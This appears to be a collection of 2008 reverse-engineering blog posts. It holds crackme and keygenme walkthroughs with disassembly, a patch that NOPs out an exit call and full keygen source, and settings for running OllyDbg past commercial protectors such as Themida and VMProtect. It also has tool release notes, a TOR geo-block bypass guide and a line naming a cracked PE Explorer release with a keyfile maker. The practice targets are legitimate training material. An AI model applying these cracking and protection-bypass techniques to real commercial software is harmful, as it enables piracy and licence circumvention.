2, CloseHandle to close the handle the wrong time to return to STATUS_INVALID_HANDLE, instead of STATUS_SUCCESS
3, xp over the use of NtQueryInformationProcess (hProcess, ProcessDebugObjectHandle ,…) and NtQueryInformationProcess (hProcess, ProcessDebugFlags ,…) anti-debugging
4, OD process ntdll.dll some of the functions (such as: NtOpenProcess) was inline hook when the blue screen

The following are no special note are the original OD add a plug-in plug-in StrongOD operate:

Ollydbg.ini in the first [Plugin StrongOD] the following HideWindow, ProtectProcess into the value of 1, the value of KernelMode turned into a preserve:

1, Themida / WinLicense

Plug-in option to set a minimum

Original run OD, included in the main program Themida v1.9.9.0, stopped at the entrance after the removal of all breakpoints, Shift + F9 up-and-run
2, ExeCryptor v2.4.1

Plug-in option to set a minimum

Original run OD, set up break point on break point in the system to stop
ExeCryptor v2.4.1 included in the main program, stopped at the breakpoint system, according to Alt + B, remove the breakpoint EP
And then Shift + F9, you can
3, TTProtect v1.05 DEMO

Plug-in option to set a minimum

Original run OD, loading TTProtect v1.05 DEMO main program, Shift + F9
4, VMProtect v1.65.2

vmp v1.65 added to the xp system under the OD of the new anti,Plug-in option to set a minimum

Original run OD, loading VMProtect v1.65.2 main program, Shift + F9
Detail : http://www.unpack.cn/viewthread.php?tid=28854&highlight=
Regards
kienmanowar

Exeinfo for Win32 by A.S.L.

History :
13.09.2008 – added new skin, tools/ antipacker / sign counter / new signatures / bug fixed – ver.0.0.1.9 C
26.07.2008 – added new tool , new log file ,new sign – ver.0.0.1.9 A
08.05.2008 – bug fixed , new signatures , OEP Delphi fixer ver.0.0.1.8 G
16.03.2008 – many changes , new plugin for peid & die , new signatures ,new hints  ver.0.0.1.8 F
12.02.2008 – view startup ASM , non exe detection added ( wmv, php ….) , signatures added, and …
23.12.2007 non exe detection added ( pdf,gif,avi,mp3 …) , few signatures added
~ ~ ~ ~ …
15.03.2006 added few detection – 0.0.0.2 Beta
09.03.2006 first primitive version – 0.0.0.1 Beta

Download here: http://users.cjb.net/exeinfo/plugin-peid-exeinfo.zip

Regards

It’s very simple:
Just solve the program will end after pressing ‘enter’.
Enjoy! :-)

Additional ( no must ):
Write a patch!

Difficulty: 1 – Very easy, for newbies
Platform: Windows
Language: C/C++

Download crackme : http://www.crackmes.de/users/nrz0e1/crackme_1

———

Solution :

///////////////////////////////////////////////////////////////////////////////////////////
Program : NrZ0e1′s CrackMe #1
Description : It’s very simple:Just solve the program will end after pressing ‘enter’.Enjoy! :-)
Tools       : OllyDbg
Difficult   :  Easy
Packer/Protector/Compiler : N/A
Objective : Patch
Cracker   :  kienmanowar
///////////////////////////////////////////////////////////////////////////////////////////

1. First, run this crackme and press Enter, blah blah the crackme disappear.

2. Okie, Load to Olly. Scroll down and i find the start point of this crackme here :

00401150  /.  55                          PUSH    EBP
00401151  |.  8BEC                        MOV     EBP, ESP
00401153  |.  68 28A14000                 PUSH    CrackMe.0040A128  ; /Arg1 = 0040A128 ASCII " CrackMe #1 by NrZ0e1
;14/09/2007
Solve the program is stopping from now!
[Enter]"
00401158  |.  E8 A32B0000                 CALL    CrackMe.00403D00  ; \CrackMe.00403D00

3. Look down, we will see the Good boy :

00401184  |.  68 84A14000                 PUSH    CrackMe.0040A184   ; /Arg1 = 0040A184 ASCII
;"You solved the problem !!!! I am proud of you ! ;-) "
00401189  |.  E8 722B0000                 CALL    CrackMe.00403D00   ; \CrackMe.00403D00

4. Ok now, i set bp at 00401150, F9 to run and stop at the bp. Use F8 key to trace downward, after trace over this call

00401176  |.  E8 75290000                 CALL    CrackMe.00403AF0

The crackeme run, back to Crackme and press Enter, blah we return to OllyDbg. Continue to trace downward and stop at this call :

0040117C  |> \6A 01                       PUSH    1                  ; /Arg1 = 00000001
0040117E  |.  E8 C1610000                 CALL    CrackMe.00407344   ; \CrackMe.00407344 <== Stop here
00401183  |.  59                          POP     ECX
00401184  |.  68 84A14000                 PUSH    CrackMe.0040A184   ; /Arg1 = 0040A184 ASCII
;"You solved the problem !!!! I am proud of you ! ;-) "
00401189  |.  E8 722B0000                 CALL    CrackMe.00403D00   ; \CrackMe.00403D00

5. The Call at 0040117E will call ExitProcess Api to terminate this crackme, so i nop this call like this :

0040117C  |> \6A 01                       PUSH    1                                 ; /Arg1 = 00000001
0040117E      90                          NOP                                       ; \CrackMe.00407344
0040117F      90                          NOP
00401180      90                          NOP
00401181      90                          NOP
00401182      90                          NOP

6. Press F9 to Run, wow the Good boy appear!!!

That’s all. Thanx for reading my tutor.
Sorry for my bad English!!! :|

–++–==[ Greatz Thanks To ]==–++–
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker,
the_Lighthouse, Merc, Hoadongnoi, Nini … all REA‘s members, TQN, HacNho, RongChauA,
Deux, tlandn, light.phoenix, dqtln, ARTEAM …. all my friend, and YOU.

–++–==[ Thanks To ]==–++–
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl, moth, XIANUA, nhc1987 v..v..

I want to thank Teddy Roggers for his great site, Reversing.be folks(especially haggar),
Arteam folks(Shub-Nigurrath, MaDMAn_H3rCuL3s) and all folks on crackmes.de, thank
to all members of unpack.cn (especially fly and linhanshi). Great thanks to lena151(I like your tutorials).
And finally, thanks to RICARDO NARVAJA and all members on CRACKSLATINOS.

>>>> If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

One of my first keygenme’s in a long time. Was made to let newbies have a chance at getting into keygenning and hopefully lead into harder and harder ones.

make a keygen, do whatever you need to for this, just submit solution and keygen

serial fishing should be extremely easy, but then again – that wasn’t the point was it?

Difficulty: 1 – Very easy, for newbies
Platform: Windows
Language: C/C++

Download keygenme : http://www.crackmes.de/users/zart/mishka_tribute

————–
Solution :
///////////////////////////////////////////////////////////////////////////////////////////
Program : Zart’s Keygenme
Description : make a keygen, do whatever you need to for this, just submit solution and keygen.
Tools : IDA, OllyDbg
Difficult : Easy
Packer/Protector/Compiler : N/A
Objective : Keygen
Cracker : kienmanowar{REATEAM}
///////////////////////////////////////////////////////////////////////////////////////////

1. First, run this keygenme, wow i here the nice tune :) . Input Name and Serial then press Enter, blah blah the crackme disappear.Without Nag :(

2. Load to Olly and search all Ref text strings…..nothing special. Okie, fire up IDA,anaylize this keygenme and open Strings (Shift-F12). I found the Good Boy :D

.data:00407028 szSerialcheckedout-nowrightakeygen_ db 0Ah ; DATA XREF: _main+15Ao_main
.data:00407028 db 'Serial checked out - now right a keygen.',0Ah,0

3.Double click to _main+15Ao we will back to the asm code.

.text:00401246 push offset szSerialcheckedout-nowrightakeygen_ ; "\nSerial checked out - now right a keyge"...
.text:0040124B jmp short loc_401252 ; Jump
.text:0040124B
.text:0040124D ; ---------------------------------------------------------------------------
.text:0040124D
.text:0040124D loc_40124D: ; CODE XREF: _main+158j
.text:0040124D push offset szSerialfailedcheck ; "\nSerial failed check!\n"
.text:0040124D

4. Ok reload this keygenme in Olly and press Ctrl+G to go to 0×00401246.Scroll up and set BP at the beginning of this sub.

004010EC >/$ B8 69414000 MOV EAX, ; _main <== set BP here
004010F1 |. E8 DA2E0000 CALL
004010F6 |. 83EC 24 SUB ESP, 24
004010F9 |. 53 PUSH EBX

5. Press F9 to run and we stop at the BP, trace down until we reach the asm code that gets characters from UserName and Serial. In this asm code,
i relize that it gets each char from Username, append char and store it in another buffer.Here it is :

0040119A >|> /FF15 9C604000 /CALL NEAR DWORD PTR DS:[] ; [loc_40119A
004011A0 |. |85C0 |TEST EAX, EAX
004011A2 |.^ 74 F6 |JE SHORT
004011A4 |. |FF15 98604000 |CALL NEAR DWORD PTR DS:[] ; [_getch
004011AA |. |837D E4 00 |CMP DWORD PTR SS:[EBP-1C], 0
004011AE |. |8845 E8 |MOV BYTE PTR SS:[EBP-18], AL
004011B1 |. |75 5E |JNZ SHORT
004011B3 |. |3C 0D |CMP AL, 0D
004011B5 |. |75 33 |JNZ SHORT
004011B7 |. |837D EC 00 |CMP DWORD PTR SS:[EBP-14], 0
004011BB |. |75 0F |JNZ SHORT
004011BD |. |8B0D 10604000 |MOV ECX, DWORD PTR DS:[] ; MSVCIRT.cout
004011C3 |. |68 60704000 |PUSH keygenme.00407060 ; ASCII 0A,"You must enter a name!\n Name: "
004011C8 |. |FFD6 |CALL NEAR ESI
004011CA |.^ EB CE |JMP SHORT
004011CC >|> |8B0D 10604000 |MOV ECX, DWORD PTR DS:[] ; loc_4011CC
004011D2 |. |68 54704000 |PUSH keygenme.00407054 ; ASCII "Serial: "
004011D7 |. |C745 E4 01000000 |MOV DWORD PTR SS:[EBP-1C], 1
004011DE |. |FFD6 |CALL NEAR ESI
004011E0 |. |50 |PUSH EAX
004011E1 |. |FF15 18604000 |CALL NEAR DWORD PTR DS:[] ; MSVCIRT.flush
004011E7 |. |59 |POP ECX
004011E8 |.^ EB B0 |JMP SHORT
004011EA >|> |FF75 E8 |PUSH DWORD PTR SS:[EBP-18] ; loc_4011EA
004011ED |. |8B0D 10604000 |MOV ECX, DWORD PTR DS:[] ; MSVCIRT.cout
004011F3 |. |FFD7 |CALL NEAR EDI
004011F5 |. |50 |PUSH EAX
004011F6 |. |FF15 18604000 |CALL NEAR DWORD PTR DS:[] ; MSVCIRT.flush
004011FC |. |59 |POP ECX
004011FD |. |FF75 E8 |PUSH DWORD PTR SS:[EBP-18]
00401200 |. |8D4D D0 |LEA ECX, DWORD PTR SS:[EBP-30]
00401203 |. |FF75 EC |PUSH DWORD PTR SS:[EBP-14]
00401206 |. |FF15 24604000 |CALL NEAR DWORD PTR DS:[<&MSVCP60.std::basic_string; MSVCP60.std::basic_string<char,std::char_traits,std::allocator >::append
0040120C |. |FF45 EC |INC DWORD PTR SS:[EBP-14]
0040120F |.^ EB 89 |JMP SHORT
00401211 >|> |3C 0D |CMP AL, 0D ; loc_401211
00401213 |. |74 23 |JE SHORT
00401215 |. |FF75 E8 |PUSH DWORD PTR SS:[EBP-18]
00401218 |. |8B0D 10604000 |MOV ECX, DWORD PTR DS:[] ; MSVCIRT.cout
0040121E |. |FFD7 |CALL NEAR EDI
00401220 |. |50 |PUSH EAX
00401221 |. |FF15 18604000 |CALL NEAR DWORD PTR DS:[] ; MSVCIRT.flush
00401227 |. |59 |POP ECX
00401228 |. |8D049B |LEA EAX, DWORD PTR DS:[EBX+EBX*4]
0040122B |. |0FBE4D E8 |MOVSX ECX, BYTE PTR SS:[EBP-18]
0040122F |. |8D5C41 D0 |LEA EBX, DWORD PTR DS:[ECX+EAX*2-30]
00401233 |.^\E9 62FFFFFF \JMP

analyze and build the pseudocode in IDA :

while ( TRUE )
{
while ( TRUE )
{
while ( !kbhit() )
;
iKeyInput = getch();
LOBYTE(iTempChar) = iKeyInput;
if ( v18 )
break;
if ( iKeyInput == Enter_key )
{
if ( iSize )
{
v18 = 1;
szStr = ostream__operator__(cout, "\nSerial: ");
flush(szStr);
}
else
{
ostream__operator__(cout, "\nYou must enter a name!\nName: ");
}
}
else
{
v11 = ostream__operator__(cout, iTempChar);
flush(v11);
std__basic_string_char_std__char_traits_char__std__allocator_char____append(&szStrBuffer, iSize++, iTempChar); //Append String
}
}
if ( iKeyInput == Enter_key )
break;
v12 = ostream__operator__(cout, iTempChar);
flush(v12);
szSerial = (char)iTempChar + 10 * szSerial - 48;
}

6. Continue trace and analyze asm code, i stop here ;

00401238 >|> \8D45 D0 LEA EAX, DWORD PTR SS:[EBP-30] ; loc_401238
0040123B |. 50 PUSH EAX ;
0040123C |. E8 BFFDFFFF CALL ; <== Trace Into

7. Trace into sub_calculate_serial() :

00401005 |. 33C0 XOR EAX, EAX ; <== eax = 0
00401007 |. 33F6 XOR ESI, ESI ; <== esi = 0
00401009 |. 8B51 08 MOV EDX, DWORD PTR DS:[ECX+8] ; <== Length(szTempString)
0040100C |. 57 PUSH EDI
0040100D |. 85D2 TEST EDX, EDX
0040100F |. BF BA430000 MOV EDI, 43BA ; <== edi = 0x43BA
00401014 |. 76 25 JBE SHORT
00401016 |. 53 PUSH EBX
00401017 |. 8B59 04 MOV EBX, DWORD PTR DS:[ECX+4] ; |> 8B0D 2C604000 /MOV ECX, DWORD PTR DS:[<&MSVCP60.`std::basic_string; loc_40101A
00401020 |. 85DB |TEST EBX, EBX
00401022 |. 74 03 |JE SHORT
00401024 |. 8D0C33 |LEA ECX, DWORD PTR DS:[EBX+ESI]
00401027 >|> 0FBE09 |MOVSX ECX, BYTE PTR DS:[ECX] ; <== ecx = szTempString[i]
0040102A |. 0FAFC7 |IMUL EAX, EDI ; <== eax = eax * edi
0040102D |. 03C1 |ADD EAX, ECX ; <== eax = eax + ecx
0040102F |. 69FF FAE60600 |IMUL EDI, EDI, 6E6FA
00401035 |. 46 |INC ESI ; <== esi++
00401036 |. 3BF2 |CMP ESI, EDX ; <== while esi < Length(szTempString)
00401038 |.^ 72 E0 \JB SHORT ; <== Then continue

build pseudocode :

int iReaKey; // eax@1
unsigned int iLenszStrBuffer; // edx@1
unsigned int iInit; // edi@1
unsigned int iIndex; // esi@1
int v5; // ebx@2
void *szChar; // ecx@3

iReaKey = 0;
iIndex = 0;
iLenszStrBuffer = *(_DWORD *)(a1 + 8); // Length of szStrBuffer
iInit = 0x43BAu;
if ( iLenszStrBuffer )
{
v5 = *(_DWORD *)(a1 + 4); // Point to szStrBuffer
do
{
szChar = _C;
if ( v5 )
szChar = (void *)(v5 + iIndex); // Get char for szStrBuffer
iReaKey = *(_BYTE *)szChar + iInit * iReaKey;
iInit *= 0x6E6FAu;
++iIndex;
}
while ( iIndex < iLenszStrBuffer );
}
return iReaKey;

8. After trace and analyze all the asm code, the soucre keygen for this keygenme :

char szName[64]={0};
char szSerial[64]={0};
char szTempString[128]={0};
char szTemp[64]={0};
int i=0,j=0,LenUser=0,iRealKey=0,iValue=0;

LenUser=GetDlgItemText(IDC_Name,szName,70);
if (LenUser 14)
{
MessageBox("----------===== Your name atleast 1 chart ====---------- \n\n ----------===== But not over 14 charts ====---------- ",
"Hey !! Please input your name again !! ");
}
else
{
i = 0;
while (i 0;j--)
{
szTemp[j-1] = szName[i];
}
strncat(szTempString,szTemp,i);
}

LenUser = strlen(szTempString);
i = 0;
_asm
{
xor eax,eax
xor esi,esi
xor edx,edx
mov edi,0x43BA
}
while (i < LenUser)
{
_asm
{
mov eax, iRealKey
lea ecx, dword ptr[szTempString]
movsx ecx,byte ptr[ecx+esi]
imul eax, edi
add eax, ecx
imul edi, edi, 0x6E6FA
inc esi
mov iRealKey,eax
}
i++;
}
wsprintf(szSerial,"%d",iRealKey);
}

SetDlgItemText(IDC_Serial,szSerial);

********************************
Right key
UserName: kienmanowar
Serial : 114
********************************

That's all. Thanx for reading my tutor.
Sorry for my bad English!!! :|

--++--==[ Greatz Thanks To ]==--++--
My family, Computer_Angel, Moonbaby , Zombie_Deathman, Littleboy, Benina, QHQCrker,
the_Lighthouse, Merc, Hoadongnoi, Nini ... all REA‘s members, TQN, HacNho, RongChauA,
Deux, tlandn, light.phoenix, dqtln, ARTEAM .... all my friend, and YOU.

--++--==[ Thanks To ]==--++--
iamidiot, WhyNotBar, trickyboy, dzungltvn, takada, hurt_heart, haule_nth, hytkl, moth, XIANUA, nhc1987 v..v..

I want to thank Teddy Roggers for his great site, Reversing.be folks(especially haggar),
Arteam folks(Shub-Nigurrath, MaDMAn_H3rCuL3s) and all folks on crackmes.de, thank
to all members of unpack.cn (especially fly and linhanshi). Great thanks to lena151(I like your tutorials).
And finally, thanks to RICARDO NARVAJA and all members on CRACKSLATINOS.

>>>> If you have any suggestions, comments or corrections email me: kienmanowar[at]reaonline.net

OllyDbg_tut11

Posted: September 22, 2008 in OllyDbg Tutorials, OllyDbg tut_11

Một cái đầu lạnh để vững vàng, một trái tim đỏ lửa để yêu và làm việc hết mình!

I. Giới thiệu chung

Chào các bạn, chúng ta lại gặp nhau trong phần 11 của loạt bài viết về OllyDbg. Lần trước, khi release phần 10 trên hai site : REA(reaonline.net)HVA(hvaonline.net) nhận thấy lượng download rất nhiều, chứng tỏ rằng các bài viết của tôi vẫn được các bạn quan tâm và ủng hộ. Đó chính là nguồn động viên lớn cho tôi để tôi tiếp tục viết tiếp các phần tiếp theo.Tiện đây tôi cũng xin lan man một chút, trước đây tôi cũng đã từng có một thời gian tham gia việc training và được quen biết với những đồng nghiệp mà sau này vẫn là những anh em tốt của tôi, lúc đó mặc dù công việc của chúng tôi là giảng dạy kiến thức cho người khác nhưng người sếp (người anh cả của chúng tôi) đã định hướng cho chúng tôi rằng: “Chúng ta đứng trên bục giảng không có nghĩa chúng ta tự coi mình là thầy của người khác, không có nghĩa chúng ta là người hiểu biết hơn những người đang ngồi nghe chúng ta nói, mà chúng ta chỉ là những người truyền đạt lại những kiến thức mà chúng ta biết, khơi gợi cho học viên khả năng tự tìm tòi và tự nghiên cứu.Quan hệ giữa học viên và giảng viên là quan hệ hoàn toàn bình đẳng, mọi vấn đề được đem ra trao đổi thẳng thắn theo phương pháp phản biện như thế mới tạo tâm lý thoải mái cho người học, khiến cho buổi học không phải là nơi truyền đạt kiến thức theo kiểu một chiều như những gì chúng ta thấy trên các trường lớp ở Việt Nam”.

Qua loạt tuts này cũng vậy, kiến thức tôi truyền tải cho các bạn chưa chắc đã đúng 100%, đó chỉ là những gì cá nhân tôi tích lũy được và truyền tải lại cho các bạn, cho nên nếu trong quá trình các bạn đọc thấy có những kiến thức nào tôi viết sai hoặc chưa đúng thì cứ góp ý thẳng thắn, vì như thế mới chứng tỏ các bạn thật sự quan tâm tới bộ tài liệu này. Ở phần trước tôi đã giới thiệu sơ qua về cách thiết lập BP, các thao tác thông qua command bar để đặt các bp với các lệnh BP và BPX, cung cấp thông tin về việc đặt memory bp và cách xử lý để có thể đặt bp nếu như chương trình sử dụng cơ chế anti-bp. Trong phần 11 này các bạn sẽ tìm hiểu thêm về các dạng Break Points khác như Hardware Breakpoints, ConditionalMessage BreakPoints, những điều thú vị đang nằm ở phía trước…. N0w….L3t’s G0!!!!!!!!!

II. BreakPoints in OllyDbg

1.Hardware Breakpoints :

Hardware Breakpoint là gì nhỉ? Tự nhiên nếu có ai hỏi tôi một câu hỏi như vậy chắc tôi cũng không biết phải giải thích thế nào. Ngay cả trong bài viết của lão làng Ricardo Navarja cũng không giải thích chi tiết về nó. Vậy là phải tự mình tìm hiểu rồi, đọc trong help file của Olly thì chỉ nhận được một chút thông tin như sau :

Hardware breakpoint (available only when running Debugger under Windows ME, NT, 2000 or XP). 80×86-compatible processors allow you to set 4 hardware breakpoints. Unlike memory breakpoint, hardware breakpoints do not slow down the execution speed, but cover only up to 4 bytes. OllyDbg can use hardware breakpoints instead of INT3 when stepping or tracing through the code.

Điều đầu tiên ta thu thập được qua đoạn này là Hardware breakpoint (viết tắt HWBP) không thể sử dụng được nếu như bạn dùng Olly trên môi trường Windows 98. Điều thứ hai là chúng ta được phép thiết lập tới 4 HWBP, so với Memory BP là quá đã rồi vì như ta đã biết tại một thời điểm Olly chỉ cho phép có duy nhất một memory bp. Thêm vào đó HWBP không làm châm quá trình thực thi của chương trình. Điều cuối cùng ta nhận được là HWBP không sử dụng INT3, vậy thì nó sử dụng lệnh gì để dừng sự thực thi của chương trình?? Chúng ta tiếp tục tìm hiểu thêm vậy J. Đi lòng vòng một hồi tôi cũng có thêm được một chút thông tin: HWBP được hỗ trợ trực tiếp bởi CPU, sử dụng một số thanh ghi đặc biệt hay còn được gọi là debug registers. Có bốn thanh ghi đó là : DR0, DR1, DR2, DR3, bốn thanh ghi này sẽ được sử dụng để lưu giữ những địa chỉ mà ta thiết lập HWBP. Điều kiện của mỗi break points để cho dừng sự thực thi của chương trình lại được lưu trong một thanh ghi đặc biệt khác là CPU register, đó là thanh ghi DR7. Khi bất kì một điều kiện nào thỏa mãn (TRUE) thì processor sẽ quăng một exception là INT1 (khà khà vậy là nó dùng INT1 nhé) và quyền điều khiển lúc này sẽ được trả về cho trình Debug của chúng ta. Có bốn khả năng để dừng sự thực thi của một chương trình :

  1. Khi một câu lệnh được thực thi.
  2. Khi nội dung của memory có thay đổi (modified).
  3. Khi một ví trí memory được đọc ra hoặc được cập nhật(updated).
  4. Khi một input-output port được tham chiếu tới. (cái này tôi cũng chưa tìm hiểu).

Khả năng của tôi cũng chỉ biết giải thích đến như thế, các bạn muốn tìm hiểu thêm vui lòng tìm đọc các tài liệu khác. Bây giờ là phần thực hành, mở Olly lên và load crackme vào nào :

Download toàn bộ bài viết tại đây :

ollydbg_tut11

Best Regards

kienmanowar

VB Decompiler

Posted: September 23, 2008 in RE Tools, VB Decompiler

VB Decompiler

Author: GPcH Soft

———

VB Decompiler is decompiler for programs (EXE, DLL or OCX) written in Visual Basic 5.0/6.0. As you know, programs in Visual Basic can be compiled into interpreted p-code or into native code.

Since p-code consists of high-level commands, there is a real possibility to decompile it into the source code (of course, the names of variables, functions, etc. will not be decompiled). VB Decompiler restores many p-code instructions and although there is a long way to the generation of the source code that can be compiled, the decompiler will make analyzing the program algorithm much easier and partially restore its source code.

If a program was compiled into the native code, restoring the source code from machine instructions is not possible. But VB decompiler can help to analyze the program even in this situation as well. It contains a powerful disassembler that supports Pentium Pro commands including MMX and SSE. It allows you to disassemble all functions. There is also a code analyzer that searches for all API function calls and string references in the disassembled code and changes them into comments for analyzed strings. In general, VB Decompiler is an ideal tool for analyzing programs and it is perfect if you lose the source code and need to partially restore the project.

VB Decompiler v5.0 has been released (14.06.08)

What’s new in this version:
- New unpacker engine
- OptionButton decompilation
- Russian help file rewriten
- New plugin functions: GetFrxIconCount, GetFrxIconOffset, GetFrxIconSize
- Address in String Reference window
- Strings editor in String Reference window
- Collapse and expand “If” and “For” constructions in text window
- BugFix: Parameters parser fixed
- BugFix: Resize in Windows Vista SP1

P-Code Example

Native Code Example

[ARTOOL] xADT 1.4, by Shub-Nigurrath

Posted: September 24, 2008 in RE Tools

Hi all,
version 1.4 is ready to go out, this is a major release of the already released xADT Program.

You can find it at http://releases.accessroot.com/

This is a major release because a lot of work have been done to add novel and missing anti-debugging tests.

The rough list of improvements is:

  • several new tests, a total of 20 (!) new tests have been added to this version
  • complete C++ sources of 8 plugins (1 which was already distributed as binary in version 1.3 and 7 new for version 1.4)
  • 6 tutorials specific for some tests, explaining how the tests works and how to skip the detection.
  • a standalone program made by chupachu performing the same tests I already included in the version 1.3
  • 2 standalone parallel programs: chupachu tester (the same tests are also distributed as xADT’s plugins) and EDD by Hellsp@wn
  • several fixes here and there.

I whish to thanks several people who contributed with ideas, code and testing:
metr0, Evilcry, ChupaChu, MOID, ReWolf, Defsanguje, ap0x, … and all the ARTeam members!

For a complete history and instructions check the complete history written in the file readme.txt

version 1.4
-slightly modified the readme FAQ section
-Everything has been tested with Windows XPSP3 and sources are have been tested with VS2008 and VS60
-fixed an error in the PDK _cdecl convention wasn’t explicitly declared

plugins:
-minor bugfixing of some previously released plugins
-Updated FindWindow Complex with recent keywords (like PHANTOM, 0LLY, BR3AKPOINTS,…)
-fixed xadt_ollybof.dll. Now it’s named Allybof. PAY ATTENTION: due to the nature of the test whole xADT might crash
if tested outside OllyDbg (see notes within the readme.txt file)
-fixed SIDT Test (now is called ex-SIDT) which was crashing the system on multi-processor machines

new-plugins: total of 20 new tests
+ex-SIDT, a fixup of the old SSIDT test, thanks to deroko who rewrote the driver (now is multprocessor aware). This is a PoC of multi-plugin using drivers
+ex-SIDT also performs a Ring0 test of debug registers
+NtQueryInfoProc_hook_detection (idea of Metr0/SnD), plus standalone Proof-of-concepts
+DeleteFiber (idea of evilcry), plus documentation on the theory of the test
+NtSystemDebugControl (idea of evilcry), plus documentation on the theory of the test. This plugins implements 3 dimostrative tests
+xadt_SofticeServicesTest by deroko, which tests the present of SOFTICE using OpenServiceA/EnumServicesStatusA/EnumServicesStatusExA
(3 internal tests done)
+int2Atrick (idea of ReWolf), plus documentation on the theory of the test
+MiscTricks from ideas documented here http://www.securityfocus.com/infocus/1893 (also included in distribution).
All tests not already implemented in xADT have been included (9 tests)

+full sources (projects tested with VS60/VS2008) of the following plugins, often with explations on theory and how you can hide:
ex-SIDT, sources of driver and plugin
int2Atrick,
DeleteFiber,
NtSystemDebugControl,
SICE_Tricks,
MiscTricks,
xadt_SofticeServicesTest
NtQueryInfoProc_hook_detection sources of standalone C and ASM programs and of the whole plugin
+added ZwQueryObject_readme.txt which explains a possible way to solve the ZwQueryObject test (thanks to deroko)

standalone tools:
+All the tests ChupaChu released since version 1.3 as a separate standalone program too: “testbed_chupachu.exe”
+Included in the distribution the program EDD Extreme Debug Detector by Hellsp@wn, this program does less tests but it’s handy to have it in this package too

Some notes on the Tests.

  • 1. Some tests are just PoC and can be improved, I released the sources for them, an example is the test NtQueryInfoProc_hook_detection which can also be used with other anti-debug tests and not only with NtQueryInfoProc
  • 2. The xadt_Allybof test is though to exploit the export name buffer overflow vulnerability of Olly, trying to crash it. This plugin is from Defsanguje. By it’s nature the test works perfectly if xADT is debugged by OllyDbg, but crashes xADT if the program is running normally. Then pay attention and eventually do not launch this test or remove the dlls (the test is made of two dlls: xadt_Allybof.dll and Allybof.dll) from the plugin folder.
  • 3. Several tests are connected to execution time thresholds which detect the presence of a debugger, because the same code goes slower than usual. This timing based tests are sensible to slow machines, because in these cases the thresholds should be higher. I didn’t coded any thresholds adaptation routine, so you might get some false positive on slow machines or virtually emulated machines (which are slow too). You can disassemble the dll or recompile it to adapt the thresholds to your needs.
  • 4. xADT has been tested with all these combinations:
    • Operative Systems on real PCs and Virtual PC:
      • Windows XP SP2/SP3,
      • Windows Vista
    • OllyDbg:
      • SND OllyDbg,
      • normal OllyDbg,
      • OllDbg modded using xFile,
      • hidden using xFile,advancedolly,analyzethis,hidedebugger,ollydump

ARTeam: IDA plugin to depack aplib/lzma statically compressed data into IDA

Hi all,
deroko just released a plugin for IDA 5.2 and following, to decompress aplib or lzma packed data in your target when analyzing with IDA.

The plugin supports aPlib which is quite common in malware, but there’s also support for packman lzma compression, even if this one is very rare.

Run plugin by pressing CTRL+9 and you will be prompted with a window for unpacking or simply go to Edit->plugins->aplib depack

Full C sources are included, aswell. See the readme.txt for further details and instructions.

http://arteam.accessroot.com/releases.html

By Shub from ARtEAM

ARTeam: IDA plugin to analyze dumped memory regions inside IDA

Hi all,
this is another interesting release from deroko/ARTeam.

A set made of two programs (an IDA plugin and a dumper) useful to analyze dumped memory regions inside IDA. Useful for malware or VMs to analysis of dynamically allocated memory code sections (full sources included)

dump_all/load_all set of tools by deroko ARTeam

dump_all.exe is program which will dump all regions of a certain executable into
specified folder. All dumps are stored as r00000000.dmp where
00000000 is virtual address of a paticilar memory region.
Advice is to create always new folder for these dumped regions, as
load_all will load all of these regions to IDA database. Just to keep
everything organized, and to avoid loading of wrong files, which could
occur under some cicumstances.

load_all.plw is and IDA plugin which will actually load all of these memory regions
into IDA database. Example plugin is compiled with IDA 5.2 SDK, but you
may compile it for other versions too.
Plugin will prompt you for file, so you are free to select any of these
.dmp, and plugin will load all of them into database. This could be useful
when analyzing malware or some protection with many buffers, for better
analyze of a VM, or import protection. This will avoid need to dump regions
manually.

http://arteam.accessroot.com/releases.html

BR,
Shubby

diablo2oo2′s Ollydbg

Posted: September 25, 2008 in RE Tools

diablo2oo2′s Ollydbg

News

[20.09.2008]
Final version of dUP v2.18 is released today.  dUP 2 now can be translated to any language. Check out the forum for more information.

Also there is a new version of my PEID plugin “advanced scan” out.

And last i also updated my custom ollydbg package.

Download diablo2oo2′s Ollydbg

http://diablo2oo2.di.funpic.de/downloads/d2k2.ollydbg.public.rar

Description : The Hex-Rays Decompiler converts executable programs into a human readable C-like pseudo code text.

Author : Network Solutions Center (http://ccso.com/)

Download : http://ccso.com/files/hexraysdemo.swf

Regards

IDA Pro Demo Video

Posted: September 25, 2008 in IDA Pro Demo Video, Other Tutorials

IDA Pro Demo Video

Description:  This is a demo video for IDA. The video is an analysis of a dynamic link library on a system compromised by spyware. It goes through and explains how to use some of the key features found in IDA.

Author : Network Solutions Center ( http://ccso.com/ )

Download : http://ccso.com/demo.wmv

Best Regards

ARTeam: bypassing geolocalizazion with TOR, to download web things..

Hi all,
sometimes you find things that cannot be download from outside a specific country, like for example several trygames programs or some other geo-localized filters.

If you need it’s extremely simple to bypass these limits using TOR

This the procedure more or less

This is a general procedure you can use to bypass any geological block that block you from accessing a specific http resource (it doesn’t works only for the browser, but for any program that opens an InternetOpen connection). It’s useful to change your IP to a specific nation or to take chance of some specific promotions (es. http://torandskype.blogspot.com/)

Anyway here are the steps:

  • You must first of all install TOR, particularly the vidalia bundle distribution (http://tor.eff.org)
  • Then configure it and launch just to see that everything works with TOR
  • Close TOR
  • Go to this web address http://torstatus.kgprog.com/index.php?SR=C…Code&SO=Asc and take the exit nodes names (first column) of the country (search for the flag icon) you need to exit to. Take care to select those with the bigger bandwidth available.
  • open the torrc text file that usually is found here c:\Documents and Settings\username\Application Data\Vidalia\torrc where username is your WinXP username of course. shocking.gif
  • Then open this file and add at the end a line with the nodes you selected above: for example this one:

Exitnodes ephemer, figure, bob, tor2uk4iravedahs, oinniun, hattor, gigatux

  • Now open again TOR and set the intenet explorer to browse the web through TOR. If you use internet explorer don’t ask me how! Anyway the usual settings are: 127.0.0.1:9050

If you use Firefox, it helps installing FoxyProxy, an extension that allows to set proxies automatically depending on specific url patterns (for example in order to always anonymously -through TOR- browse some specific sites or some specific URL patterns, helpful this one, to anonymously browse entire domains), or you can use the TorButton distributed with vidalia (but it’s worst).

If you have done all correctly you can use the following site to test how the net sees you:

Hope helps. If someone wants to do a video tutorial of this it’s welcome!

BR,
Shubby

PE.Explorer.v1.99.R4

Posted: September 29, 2008 in RE Tools

PE.Explorer.v1.99.R4.Incl.Keyfilemaker.READ.NFO-EMBRACE

